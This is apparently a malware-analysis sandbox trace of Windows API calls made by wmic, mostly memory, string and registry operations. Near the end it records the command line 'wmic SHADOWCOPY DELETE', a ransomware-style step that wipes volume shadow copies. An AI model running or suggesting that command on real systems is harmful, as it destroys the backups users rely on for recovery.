[0037.775] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3 [0037.775] lstrlenW (lpString="LOCALHOST") returned 9 [0037.775] lstrlenW (lpString="XDUWTFONO") returned 9 [0037.775] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3 [0037.775] lstrlenW (lpString="XDUWTFONO") returned 9 [0037.776] lstrlenW (lpString="XDUWTFONO") returned 9 [0037.776] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2 [0037.776] free (_Block=0x8d2860) [0037.776] lstrlenW (lpString="XDUWTFONO") returned 9 [0037.776] malloc (_Size=0x14) returned 0x8d2860 [0037.776] lstrlenW (lpString="XDUWTFONO") returned 9 [0037.776] lstrlenW (lpString="XDUWTFONO") returned 9 [0037.776] malloc (_Size=0x14) returned 0x8d28c8 [0037.776] lstrlenW (lpString="XDUWTFONO") returned 9 [0037.776] malloc (_Size=0x4) returned 0x8d28e8 [0037.776] malloc (_Size=0xc) returned 0x8d28f8 [0037.776] malloc (_Size=0x18) returned 0x8d2910 [0037.776] malloc (_Size=0xc) returned 0x8d2930 [0037.776] SysStringLen (param_1="IDENTIFY") returned 0x8 [0037.776] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0037.776] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0037.776] SysStringLen (param_1="IDENTIFY") returned 0x8 [0037.776] malloc (_Size=0x18) returned 0x8d2948 [0037.776] malloc (_Size=0xc) returned 0x8d2968 [0037.776] SysStringLen (param_1="IMPERSONATE") returned 0xb [0037.776] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0037.776] SysStringLen (param_1="IMPERSONATE") returned 0xb [0037.776] SysStringLen (param_1="IDENTIFY") returned 0x8 [0037.776] SysStringLen (param_1="IDENTIFY") returned 0x8 [0037.776] SysStringLen (param_1="IMPERSONATE") returned 0xb [0037.776] malloc (_Size=0x18) returned 0x8d2980 [0037.776] malloc (_Size=0xc) returned 0x8d29a0 [0037.777] SysStringLen (param_1="DELEGATE") returned 0x8 [0037.777] SysStringLen (param_1="IDENTIFY") returned 0x8 [0037.777] SysStringLen (param_1="DELEGATE") returned 0x8 [0037.777] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0037.777] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0037.777] SysStringLen (param_1="DELEGATE") returned 0x8 [0037.777] malloc (_Size=0x18) returned 0x8d29b8 [0037.777] malloc (_Size=0xc) returned 0x8d29d8 [0037.777] malloc (_Size=0x18) returned 0x8d29f0 [0037.777] malloc (_Size=0xc) returned 0x8d2a10 [0037.777] SysStringLen (param_1="NONE") returned 0x4 [0037.777] SysStringLen (param_1="DEFAULT") returned 0x7 [0037.777] SysStringLen (param_1="DEFAULT") returned 0x7 [0037.777] SysStringLen (param_1="NONE") returned 0x4 [0037.777] malloc (_Size=0x18) returned 0x8d2a28 [0037.777] malloc (_Size=0xc) returned 0x8d2a48 [0037.778] SysStringLen (param_1="CONNECT") returned 0x7 [0037.778] SysStringLen (param_1="DEFAULT") returned 0x7 [0037.778] malloc (_Size=0x18) returned 0x8d2a60 [0037.778] malloc (_Size=0xc) returned 0x8d2a80 [0037.778] SysStringLen (param_1="CALL") returned 0x4 [0037.778] SysStringLen (param_1="DEFAULT") returned 0x7 [0037.778] SysStringLen (param_1="CALL") returned 0x4 [0037.778] SysStringLen (param_1="CONNECT") returned 0x7 [0037.778] malloc (_Size=0x18) returned 0x8de868 [0037.778] malloc (_Size=0xc) returned 0x8d2e98 [0037.778] SysStringLen (param_1="PKT") returned 0x3 [0037.778] SysStringLen (param_1="DEFAULT") returned 0x7 [0037.778] SysStringLen (param_1="PKT") returned 0x3 [0037.778] SysStringLen (param_1="NONE") returned 0x4 [0037.779] SysStringLen (param_1="NONE") returned 0x4 [0037.779] SysStringLen (param_1="PKT") returned 0x3 [0037.779] malloc (_Size=0x18) returned 0x8de888 [0037.779] malloc (_Size=0xc) returned 0x8d2eb0 [0037.779] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0037.779] SysStringLen (param_1="DEFAULT") returned 0x7 [0037.779] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0037.779] SysStringLen (param_1="NONE") returned 0x4 [0037.779] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0037.779] SysStringLen (param_1="PKT") returned 0x3 [0037.779] SysStringLen (param_1="PKT") returned 0x3 [0037.779] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0037.779] malloc (_Size=0x18) returned 0x8de8a8 [0037.779] malloc (_Size=0xc) returned 0x8d2ec8 [0037.779] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0037.779] SysStringLen (param_1="DEFAULT") returned 0x7 [0037.779] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0037.779] SysStringLen (param_1="PKT") returned 0x3 [0037.779] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0037.779] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0037.779] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0037.779] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0037.779] malloc (_Size=0x18) returned 0x8de8c8 [0037.779] malloc (_Size=0x40) returned 0x8d2ee0 [0037.779] malloc (_Size=0x20a) returned 0x8d2f28 [0037.779] GetSystemDirectoryW (in: lpBuffer=0x8d2f28, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0037.779] free (_Block=0x8d2f28) [0037.779] malloc (_Size=0xc) returned 0x8d2f28 [0037.779] malloc (_Size=0xc) returned 0x8d2f40 [0037.780] malloc (_Size=0xc) returned 0x8d2f58 [0037.780] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0037.780] SysStringLen (param_1="\\wbem\\") returned 0x6 [0037.780] free (_Block=0x8d2f28) [0037.780] free (_Block=0x8d2f40) [0037.780] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0037.780] free (_Block=0x8d2f58) [0037.780] malloc (_Size=0xc) returned 0x8d2f28 [0037.780] malloc (_Size=0xc) returned 0x8d2f40 [0037.780] malloc (_Size=0xc) returned 0x8d2f58 [0037.780] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0037.780] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0037.780] free (_Block=0x8d2f28) [0037.780] free (_Block=0x8d2f40) [0037.780] GetCurrentThreadId () returned 0xa1c [0037.780] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0xef930 | out: phkResult=0xef930*=0x10c) returned 0x0 [0037.781] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0xef93c, lpcbData=0xef938*=0x400 | out: lpType=0x0, lpData=0xef93c*=0x30, lpcbData=0xef938*=0x4) returned 0x0 [0037.781] _wcsicmp (_String1="0", _String2="1") returned -1 [0037.781] _wcsicmp (_String1="0", _String2="2") returned -2 [0037.781] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0xef938*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0xef938*=0x42) returned 0x0 [0037.781] malloc (_Size=0x86) returned 0x8d2f70 [0037.781] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x8d2f70, lpcbData=0xef938*=0x42 | out: lpType=0x0, lpData=0x8d2f70*=0x25, lpcbData=0xef938*=0x42) returned 0x0 [0037.781] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0037.781] malloc (_Size=0x42) returned 0x8d3000 [0037.781] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0037.781] RegQueryValueExW (in: hKey=0x10c, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0xef93c, lpcbData=0xef938*=0x400 | out: lpType=0x0, lpData=0xef93c*=0x36, lpcbData=0xef938*=0xc) returned 0x0 [0037.781] _wtol (_String="65536") returned 65536 [0037.781] free (_Block=0x8d2f70) [0037.781] RegCloseKey (hKey=0x0) returned 0x6 [0037.781] CoCreateInstance (in: rclsid=0x1e6d40*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x1e6d20*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0xefdcc | out: ppv=0xefdcc*=0x394630) returned 0x0 [0040.416] FreeThreadedDOMDocument:IXMLDOMDocument:Load (in: This=0x394630, xmlSource=0xefd50*(varType=0x8, wReserved1=0xffff, wReserved2=0x387a, wReserved3=0x7735, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0xefdb4 | out: isSuccessful=0xefdb4*=0xffff) returned 0x0 [0042.318] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x394630, DOMElement=0xefdc8 | out: DOMElement=0xefdc8) returned 0x0 [0042.318] malloc (_Size=0xc) returned 0x8d2f28 [0042.318] free (_Block=0x8d2f28) [0042.319] malloc (_Size=0xc) returned 0x8d2f28 [0042.319] free (_Block=0x8d2f28) [0042.319] malloc (_Size=0xc) returned 0x8d2f28 [0042.319] malloc (_Size=0xc) returned 0x8d2f40 [0042.319] malloc (_Size=0x18) returned 0x8de8e8 [0042.319] malloc (_Size=0xc) returned 0x8d3160 [0042.319] free (_Block=0x8d3160) [0042.319] malloc (_Size=0xc) returned 0x8d3160 [0042.319] malloc (_Size=0xc) returned 0x8d3178 [0042.320] SysStringLen (param_1="VALUE") returned 0x5 [0042.320] SysStringLen (param_1="TABLE") returned 0x5 [0042.320] SysStringLen (param_1="TABLE") returned 0x5 [0042.320] SysStringLen (param_1="VALUE") returned 0x5 [0042.320] malloc (_Size=0x18) returned 0x8de908 [0042.320] malloc (_Size=0xc) returned 0x8d3190 [0042.320] free (_Block=0x8d3190) [0042.320] malloc (_Size=0xc) returned 0x8dfac8 [0042.320] malloc (_Size=0xc) returned 0x8dfae0 [0042.320] SysStringLen (param_1="LIST") returned 0x4 [0042.320] SysStringLen (param_1="TABLE") returned 0x5 [0042.320] malloc (_Size=0x18) returned 0x8de928 [0042.321] malloc (_Size=0xc) returned 0x8dfaf8 [0042.321] free (_Block=0x8dfaf8) [0042.321] malloc (_Size=0xc) returned 0x8dfaf8 [0042.321] malloc (_Size=0xc) returned 0x8dfb10 [0042.321] SysStringLen (param_1="RAWXML") returned 0x6 [0042.321] SysStringLen (param_1="TABLE") returned 0x5 [0042.321] SysStringLen (param_1="RAWXML") returned 0x6 [0042.321] SysStringLen (param_1="LIST") returned 0x4 [0042.321] SysStringLen (param_1="LIST") returned 0x4 [0042.321] SysStringLen (param_1="RAWXML") returned 0x6 [0042.321] malloc (_Size=0x18) returned 0x8de948 [0042.321] malloc (_Size=0xc) returned 0x8dfb28 [0042.321] free (_Block=0x8dfb28) [0042.321] malloc (_Size=0xc) returned 0x8dfb28 [0042.322] malloc (_Size=0xc) returned 0x8dfb40 [0042.322] SysStringLen (param_1="HTABLE") returned 0x6 [0042.322] SysStringLen (param_1="TABLE") returned 0x5 [0042.322] SysStringLen (param_1="HTABLE") returned 0x6 [0042.322] SysStringLen (param_1="LIST") returned 0x4 [0042.322] malloc (_Size=0x18) returned 0x8de968 [0042.322] malloc (_Size=0xc) returned 0x8dfb58 [0042.322] free (_Block=0x8dfb58) [0042.322] malloc (_Size=0xc) returned 0x8dfb58 [0042.322] malloc (_Size=0xc) returned 0x8dfb70 [0042.322] SysStringLen (param_1="HFORM") returned 0x5 [0042.322] SysStringLen (param_1="TABLE") returned 0x5 [0042.322] SysStringLen (param_1="HFORM") returned 0x5 [0042.322] SysStringLen (param_1="LIST") returned 0x4 [0042.322] SysStringLen (param_1="HFORM") returned 0x5 [0042.322] SysStringLen (param_1="HTABLE") returned 0x6 [0042.322] malloc (_Size=0x18) returned 0x8de988 [0042.323] malloc (_Size=0xc) returned 0x8dfb88 [0042.323] free (_Block=0x8dfb88) [0042.323] malloc (_Size=0xc) returned 0x8dfb88 [0042.323] malloc (_Size=0xc) returned 0x8dfba0 [0042.323] SysStringLen (param_1="XML") returned 0x3 [0042.323] SysStringLen (param_1="TABLE") returned 0x5 [0042.323] SysStringLen (param_1="XML") returned 0x3 [0042.323] SysStringLen (param_1="VALUE") returned 0x5 [0042.323] SysStringLen (param_1="VALUE") returned 0x5 [0042.323] SysStringLen (param_1="XML") returned 0x3 [0042.323] malloc (_Size=0x18) returned 0x8de9a8 [0042.323] malloc (_Size=0xc) returned 0x8dfbb8 [0042.324] free (_Block=0x8dfbb8) [0042.324] malloc (_Size=0xc) returned 0x8dfbb8 [0042.324] malloc (_Size=0xc) returned 0x8dfbd0 [0042.324] SysStringLen (param_1="MOF") returned 0x3 [0042.324] SysStringLen (param_1="TABLE") returned 0x5 [0042.324] SysStringLen (param_1="MOF") returned 0x3 [0042.324] SysStringLen (param_1="LIST") returned 0x4 [0042.324] SysStringLen (param_1="MOF") returned 0x3 [0042.324] SysStringLen (param_1="RAWXML") returned 0x6 [0042.324] SysStringLen (param_1="LIST") returned 0x4 [0042.324] SysStringLen (param_1="MOF") returned 0x3 [0042.324] malloc (_Size=0x18) returned 0x8de9c8 [0042.324] malloc (_Size=0xc) returned 0x8dfbe8 [0042.324] free (_Block=0x8dfbe8) [0042.324] malloc (_Size=0xc) returned 0x8dfbe8 [0042.324] malloc (_Size=0xc) returned 0x8dfc00 [0042.324] SysStringLen (param_1="CSV") returned 0x3 [0042.324] SysStringLen (param_1="TABLE") returned 0x5 [0042.325] SysStringLen (param_1="CSV") returned 0x3 [0042.325] SysStringLen (param_1="LIST") returned 0x4 [0042.325] SysStringLen (param_1="CSV") returned 0x3 [0042.325] SysStringLen (param_1="HTABLE") returned 0x6 [0042.325] SysStringLen (param_1="CSV") returned 0x3 [0042.325] SysStringLen (param_1="HFORM") returned 0x5 [0042.325] malloc (_Size=0x18) returned 0x8de9e8 [0042.325] malloc (_Size=0xc) returned 0x8dfc18 [0042.325] free (_Block=0x8dfc18) [0042.325] malloc (_Size=0xc) returned 0x8dfc18 [0042.326] malloc (_Size=0xc) returned 0x8dfc30 [0042.326] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.326] SysStringLen (param_1="TABLE") returned 0x5 [0042.326] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.326] SysStringLen (param_1="VALUE") returned 0x5 [0042.326] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.326] SysStringLen (param_1="XML") returned 0x3 [0042.326] SysStringLen (param_1="XML") returned 0x3 [0042.326] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.326] malloc (_Size=0x18) returned 0x8dea08 [0042.326] malloc (_Size=0xc) returned 0x8dfc48 [0042.326] free (_Block=0x8dfc48) [0042.326] malloc (_Size=0xc) returned 0x8dfc48 [0042.326] malloc (_Size=0xc) returned 0x8dfc60 [0042.326] SysStringLen (param_1="texttablewsys") returned 0xd [0042.326] SysStringLen (param_1="TABLE") returned 0x5 [0042.326] SysStringLen (param_1="texttablewsys") returned 0xd [0042.326] SysStringLen (param_1="XML") returned 0x3 [0042.326] SysStringLen (param_1="texttablewsys") returned 0xd [0042.327] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.327] SysStringLen (param_1="XML") returned 0x3 [0042.327] SysStringLen (param_1="texttablewsys") returned 0xd [0042.327] malloc (_Size=0x18) returned 0x8dea28 [0042.327] malloc (_Size=0xc) returned 0x8dfc78 [0042.327] free (_Block=0x8dfc78) [0042.327] malloc (_Size=0xc) returned 0x8dfc78 [0042.327] malloc (_Size=0xc) returned 0x8dfc90 [0042.327] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0042.327] SysStringLen (param_1="TABLE") returned 0x5 [0042.327] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0042.327] SysStringLen (param_1="XML") returned 0x3 [0042.327] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0042.327] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.327] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.327] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0042.327] malloc (_Size=0x18) returned 0x8dea48 [0042.328] malloc (_Size=0xc) returned 0x8dfca8 [0042.328] free (_Block=0x8dfca8) [0042.328] malloc (_Size=0xc) returned 0x8dfca8 [0042.328] malloc (_Size=0xc) returned 0x8dfcc0 [0042.328] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0042.328] SysStringLen (param_1="TABLE") returned 0x5 [0042.328] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0042.328] SysStringLen (param_1="XML") returned 0x3 [0042.328] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0042.328] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.328] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0042.328] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0042.328] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.328] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0042.328] malloc (_Size=0x18) returned 0x8dea68 [0042.328] malloc (_Size=0xc) returned 0x8dfcd8 [0042.329] free (_Block=0x8dfcd8) [0042.329] malloc (_Size=0xc) returned 0x8dfcd8 [0042.329] malloc (_Size=0xc) returned 0x8dfcf0 [0042.329] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0042.329] SysStringLen (param_1="TABLE") returned 0x5 [0042.329] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0042.329] SysStringLen (param_1="XML") returned 0x3 [0042.329] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0042.329] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.329] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0042.329] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0042.329] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0042.329] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0042.329] malloc (_Size=0x18) returned 0x8dea88 [0042.329] malloc (_Size=0xc) returned 0x8dfd08 [0042.329] free (_Block=0x8dfd08) [0042.329] malloc (_Size=0xc) returned 0x8dfd08 [0042.329] malloc (_Size=0xc) returned 0x8dfd20 [0042.330] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0042.330] SysStringLen (param_1="TABLE") returned 0x5 [0042.330] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0042.330] SysStringLen (param_1="XML") returned 0x3 [0042.330] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0042.330] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.330] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0042.330] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0042.330] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0042.330] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0042.330] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0042.330] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0042.330] malloc (_Size=0x18) returned 0x8deaa8 [0042.330] malloc (_Size=0xc) returned 0x8dfd38 [0042.330] free (_Block=0x8dfd38) [0042.330] malloc (_Size=0xc) returned 0x8dfd38 [0042.330] malloc (_Size=0xc) returned 0x8dfd50 [0042.330] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0042.330] SysStringLen (param_1="TABLE") returned 0x5 [0042.330] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0042.331] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.331] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0042.331] SysStringLen (param_1="XML") returned 0x3 [0042.331] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0042.331] SysStringLen (param_1="texttablewsys") returned 0xd [0042.331] SysStringLen (param_1="XML") returned 0x3 [0042.331] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0042.331] malloc (_Size=0x18) returned 0x8deac8 [0042.331] malloc (_Size=0xc) returned 0x8dfd68 [0042.331] free (_Block=0x8dfd68) [0042.331] malloc (_Size=0xc) returned 0x8dfd68 [0042.331] malloc (_Size=0xc) returned 0x8dfd80 [0042.331] SysStringLen (param_1="htable-sortby") returned 0xd [0042.331] SysStringLen (param_1="TABLE") returned 0x5 [0042.331] SysStringLen (param_1="htable-sortby") returned 0xd [0042.331] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.331] SysStringLen (param_1="htable-sortby") returned 0xd [0042.331] SysStringLen (param_1="XML") returned 0x3 [0042.331] SysStringLen (param_1="htable-sortby") returned 0xd [0042.331] SysStringLen (param_1="texttablewsys") returned 0xd [0042.331] SysStringLen (param_1="htable-sortby") returned 0xd [0042.331] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0042.331] SysStringLen (param_1="XML") returned 0x3 [0042.332] SysStringLen (param_1="htable-sortby") returned 0xd [0042.332] malloc (_Size=0x18) returned 0x8deae8 [0042.332] malloc (_Size=0xc) returned 0x8dfd98 [0042.332] free (_Block=0x8dfd98) [0042.332] malloc (_Size=0xc) returned 0x8dfd98 [0042.332] malloc (_Size=0xc) returned 0x8dfdb0 [0042.332] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0042.332] SysStringLen (param_1="TABLE") returned 0x5 [0042.332] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0042.332] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.332] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0042.332] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0042.332] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0042.332] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0042.332] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.332] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0042.332] malloc (_Size=0x18) returned 0x8deb08 [0042.333] malloc (_Size=0xc) returned 0x8dfdc8 [0042.333] free (_Block=0x8dfdc8) [0042.333] malloc (_Size=0xc) returned 0x8dfdc8 [0042.333] malloc (_Size=0xc) returned 0x8dfde0 [0042.333] SysStringLen (param_1="wmiclimofformat") returned 0xf [0042.333] SysStringLen (param_1="TABLE") returned 0x5 [0042.333] SysStringLen (param_1="wmiclimofformat") returned 0xf [0042.333] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.333] SysStringLen (param_1="wmiclimofformat") returned 0xf [0042.333] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0042.333] SysStringLen (param_1="wmiclimofformat") returned 0xf [0042.333] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0042.333] SysStringLen (param_1="wmiclimofformat") returned 0xf [0042.333] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0042.333] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.333] SysStringLen (param_1="wmiclimofformat") returned 0xf [0042.333] malloc (_Size=0x18) returned 0x8deb28 [0042.333] malloc (_Size=0xc) returned 0x8dfdf8 [0042.334] free (_Block=0x8dfdf8) [0042.334] malloc (_Size=0xc) returned 0x8dfdf8 [0042.334] malloc (_Size=0xc) returned 0x8dfe10 [0042.334] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0042.334] SysStringLen (param_1="TABLE") returned 0x5 [0042.334] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0042.334] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.334] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0042.334] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0042.334] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0042.334] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0042.334] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0042.334] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0042.334] malloc (_Size=0x18) returned 0x8deb48 [0042.334] malloc (_Size=0xc) returned 0x8dfe28 [0042.334] free (_Block=0x8dfe28) [0042.334] malloc (_Size=0xc) returned 0x8dfe28 [0042.334] malloc (_Size=0xc) returned 0x8dfe40 [0042.335] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0042.335] SysStringLen (param_1="TABLE") returned 0x5 [0042.335] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0042.335] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0042.335] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0042.335] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0042.335] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0042.335] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0042.335] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0042.335] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0042.335] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0042.335] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0042.335] malloc (_Size=0x18) returned 0x8deb68 [0042.335] FreeThreadedDOMDocument:IUnknown:Release (This=0x394630) returned 0x0 [0042.335] free (_Block=0x8d2f58) [0042.335] GetCommandLineW () returned="wmic SHADOWCOPY DELETE" [0042.335] malloc (_Size=0x30) returned 0x8d3190 [0042.335] memcpy_s (in: _Destination=0x8d3190, _DestinationSize=0x2e, _Source=0x651976, _SourceSize=0x2e | out: _Destination=0x8d3190) returned 0x0 [0042.335] malloc (_Size=0xc) returned 0x8dfe58 [0042.336] malloc (_Size=0xc) returned 0x8dfe70 [0042.336] malloc (_Size=0xc) returned 0x8dfe88 [0042.336] malloc (_Size=0xc) returned 0x2472060 [0042.336] malloc (_Size=0x80) returned 0x24705b0 [0042.336] GetLocalTime (in: lpSystemTime=0xefd90 | out: lpSystemTime=0xefd90*(wYear=0x7e4, wMonth=0x2, wDayOfWeek=0x6, wDay=0x8, wHour=0x1, wMinute=0x9, wSecond=0x26, wMilliseconds=0x373)) [0042.336] _vsnwprintf (in: _Buffer=0x24705b0, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0xefd70 | out: _Buffer="02-08-2020T01:09:38") returned 19 [0042.336] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0042.336] malloc (_Size=0x28) returned 0x8d31c8 [0042.336] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0042.336] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0042.336] malloc (_Size=0x28) returned 0x8d31f8 [0042.336] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0042.336] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0042.336] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0042.336] malloc (_Size=0x16) returned 0x8deb88 [0042.336] lstrlenW (lpString="SHADOWCOPY") returned 10 [0042.336] _wcsicmp (_String1="SHADOWCOPY", _String2="\"NULL\"") returned 81 [0042.336] malloc (_Size=0x16) returned 0x8deba8 [0042.336] malloc (_Size=0x4) returned 0x8d3228 [0042.336] free (_Block=0x0) [0042.336] free (_Block=0x8deb88) [0042.336] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0042.336] malloc (_Size=0xe) returned 0x2472078 [0042.336] lstrlenW (lpString="DELETE") returned 6 [0042.336] _wcsicmp (_String1="DELETE", _String2="\"NULL\"") returned 66 [0042.336] malloc (_Size=0xe) returned 0x2472090 [0042.336] malloc (_Size=0x8) returned 0x8d2f58 [0042.337] memmove_s (in: _Destination=0x8d2f58, _DestinationSize=0x4, _Source=0x8d3228, _SourceSize=0x4 | out: _Destination=0x8d2f58) returned 0x0 [0042.337] free (_Block=0x8d3228) [0042.337] free (_Block=0x0) [0042.337] free (_Block=0x2472078) [0042.337] malloc (_Size=0x8) returned 0x8d3228 [0042.337] lstrlenW (lpString="QUIT") returned 4 [0042.337] lstrlenW (lpString="SHADOWCOPY") returned 10 [0042.337] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0042.337] lstrlenW (lpString="EXIT") returned 4 [0042.337] lstrlenW (lpString="SHADOWCOPY") returned 10 [0042.337] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0042.337] free (_Block=0x8d3228) [0042.337] WbemLocator:IUnknown:AddRef (This=0x310828) returned 0x2 [0042.337] malloc (_Size=0x8) returned 0x8d3228 [0042.337] lstrlenW (lpString="/") returned 1 [0042.337] lstrlenW (lpString="SHADOWCOPY") returned 10 [0042.337] CompareStringW 